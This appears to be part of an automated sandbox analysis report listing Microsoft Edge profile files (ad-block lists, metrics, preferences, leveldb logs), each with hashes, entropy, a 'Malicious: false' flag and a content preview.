Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\c48f3f8c-0797-44fb-b731-9858ec1a8113.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-671EE3D1-1C84.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4602883224947624
Encrypted:	false
SSDEEP:	3072:KGsxyLNmoC0WNAWzc+K7joLWleJP95HhmwH3Zq3txLOX+KQmXg1HFuO:yxywxzc+MjoLDl9HJq3HOuKQmXaHgO
MD5:	3FB0069EA5D91BD6B0E40A8C9DB5F62C
SHA1:	E1C7DCBC225BF642C14BB8E54A782644985AC4CF
SHA-256:	E1230510234A0C3749E01764F99A8BF0EFA37487038315C8DEB6B559A7056883
SHA-512:	61875BA68E108853E1925FBAA7490306C8A190493E03B49E5BFE59B6341697EA4D54F2B56AF97DA0AC271566533A689FE5CF2FE68517A0CA3CA222BE6C09A1A2
Malicious:	false
Preview:	...@..@...@.....C.].....@...................0...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".akrdxx20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\19a89869-2a90-4868-82ed-919469571254.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3a0ca486-4fb0-4eb5-b4a7-9091aac8be1f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.5609241616141505
Encrypted:	false
SSDEEP:	768:XnshqPWWX7pLGLpo2W5wT3f4Dt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPjQR6Irww:XsUPpRcpo2WaT3fItu1jaWQRroH7q9Db
MD5:	05BC5AAB88EEA7666BF02FF1DC4F643E
SHA1:	E6F7AEDC917D4E49AC172D8AB6ABF8F86A91CC0D
SHA-256:	549804981BF53E957F2534BFF57C52DDD6EBB9595AF47DFA3E91F88BB1C33999
SHA-512:	2D63C627021DCE3F18BCDB43E105BEC5C6B04EBD3FCB9691D1057C7577DAB9801F35252C5D19B9E16A8345E319A1B6BFAC846CA88EBEE59F7E1E9827E744F44B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374551249383239","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374551249383239","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3a58bd81-55f4-476e-922c-4db97d00b1de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554741398414768
Encrypted:	false
SSDEEP:	768:XnshqPWWX7pLGLpo2W5wT3f48t8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPV6IrwdiZ:XsUPpRcpo2WaT3fNtu1jaMroH7qthFt1
MD5:	091B3C97B6A84EB051270EADC00FA570
SHA1:	E236E5646BE08173614A5BA521C46A3D8C46815C
SHA-256:	69D530114706E015395878F0851124C870937238296B37414348A6B804562FC4
SHA-512:	5DC8797E9E4B006F8396C5AD436833B534B316F1137A65B662BCEC61ECA6BCEAC8D7E7B1689067C4CE72EF8FD405D789EB785250A68C82B1DB9D4903854678ED
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374551249383239","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374551249383239","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4d32c082-39f6-4b45-b35c-deab0313893f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17436), with no line terminators
Category:	dropped
Size (bytes):	17440
Entropy (8bit):	5.4772244931743765
Encrypted:	false
SSDEEP:	384:stKPGQSu4DsbsCDIcSKeKKLWHWGrbGdQwJy:swOXu7sCoMbGOgy
MD5:	CA500CAC930FE4A2049499F066D038F9
SHA1:	97CF34685BB435177AFDC677D83E8E5839F3F4D4
SHA-256:	6D55033D5F373FBC173EB2D1EE5877AA1CF87F6092A013B519CAD1E86521D47E
SHA-512:	0E9D0C4F8EB92F379C31D3D42244BD80B18CDEEC7EA1290BDC5F9AF9B7C9769DAC3847B0401C19DCCA3EA4DC2E94940127E3C7A1C8A77CC4D424C5258D09C1EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\85959edb-4833-4a38-bd30-ef86d2402368.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17600), with no line terminators
Category:	dropped
Size (bytes):	17604
Entropy (8bit):	5.474006349600647
Encrypted:	false
SSDEEP:	384:stKPGQSu4DsbsCDIcSKeKKLWHWGrbGdQwJ3y:swOXu7sCoMbGOIy
MD5:	67FA267C6495B7971245C0CD45AB090D
SHA1:	9DE38EAA568E7042EFEDA4FEC20774CDFC4D0FE8
SHA-256:	679D12327AD71804891116AE2FCF723E48BF5A980FFF4810D4434417B4009134
SHA-512:	DC75E2526CB0C993E852742D11E7A09336C7B771D16C294BFAB23FAFC679B5DF5F4326BF09F39F601987DFDC59ADDD05C6AEA520CC855BF53E9135203B76A9A8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\88e6b00c-b2a5-4382-a212-6d901c4475e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17601), with no line terminators
Category:	dropped
Size (bytes):	17605
Entropy (8bit):	5.474056587339516
Encrypted:	false
SSDEEP:	384:stKPGQSu4DsbsCDIcSKeKKLWHWGrbGdQww3y:swOXu7sCoMbGO9y
MD5:	9D9844BB2B9A70CE2B2A7A1764A1E2C6
SHA1:	CA17DC81471CA1E55885EED628287BF70E234EB9
SHA-256:	78A9F292922D87A8FAAE789FB4B2E9D2365F5333E16312431D7CAB6B35E51B24
SHA-512:	1595D1CA0DFE5508CE38D3277C3EF99B422C8ACE5034BCD1B8714C4E408280BC1B12311DB096A2DE15522930FE3BAABF67F189507E3EEBBF2BD4D919F59A334D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.246744948928689
Encrypted:	false
SSDEEP:	6:1EM1N723oH+Tcwtp3hBtB2KLlj6hQ+q2PN723oH+Tcwtp3hBWsIFUv:msaYebp3dFLuVvVaYebp3eFUv
MD5:	6325E8A6933B4AEF2B9198DC69F17522
SHA1:	530C19E8BF8E9AB07C43D39067D00F3E3BD49613
SHA-256:	EE881825E5AF1F48B923E158B164CE0C0C28DFE864A8C410FF27CDC2A2A080B9
SHA-512:	001D8E5CFCB10E9505192760A63994D2A78188B2529E2464D8664E5F44FAB8CB083C49072F1ED4E6DF1C4755F910242556C3409C3DDD77945EFA2FF705A8E03F
Malicious:	false
Preview:	2024/10/27-21:07:34.474 2078 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/27-21:07:34.555 2078 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222872636746492
Encrypted:	false
SSDEEP:	24576:IbPMZpVwfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVwfx2mjF
MD5:	A280D337A3C7075293CE51BBA1F09904
SHA1:	7EB8A503DBB29D3CAF29FF2DA961D8B2F8B9F589
SHA-256:	28407C2E8514E3C65FEB644ACB1D74699625B540780D0EACF872E91779302039
SHA-512:	05142A66C4008DF954DCD7A76F64019CF33E20D8993DC74985EA4E59F410F195956964D50646926CDFF35476143F4845702954D571A439537F67A55E060DFBBA
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1017179317180155
Encrypted:	false
SSDEEP:	6:1CmN+q2PN723oH+Tcwt9Eh1tIFUt8kC4ZZmw+kCEJVkwON723oH+Tcwt9Eh15LJ:EPvVaYeb9Eh16FUt8Pk/+PE35OaYeb9O
MD5:	671283A97FCF0B46F8229FF720C6CCFF
SHA1:	7401DDC37456E7378755D0ADBBAD8C31B4E7CBBB
SHA-256:	D79846DF2C48E4F403A2973BA60C98BABD446B19BDCA474CC9EE497283A782EB
SHA-512:	1DAA5E72CF2385163E02668656B72723C2B010EF04245851272B38D6DFF4A114B984E352D61911264D9EE8CEDF856440930468E35A3D8D7A643A9C7B6CD5A1EF
Malicious:	false
Preview:	2024/10/27-21:07:33.801 2178 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/27-21:07:33.803 2178 Recovering log #3.2024/10/27-21:07:33.850 2178 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
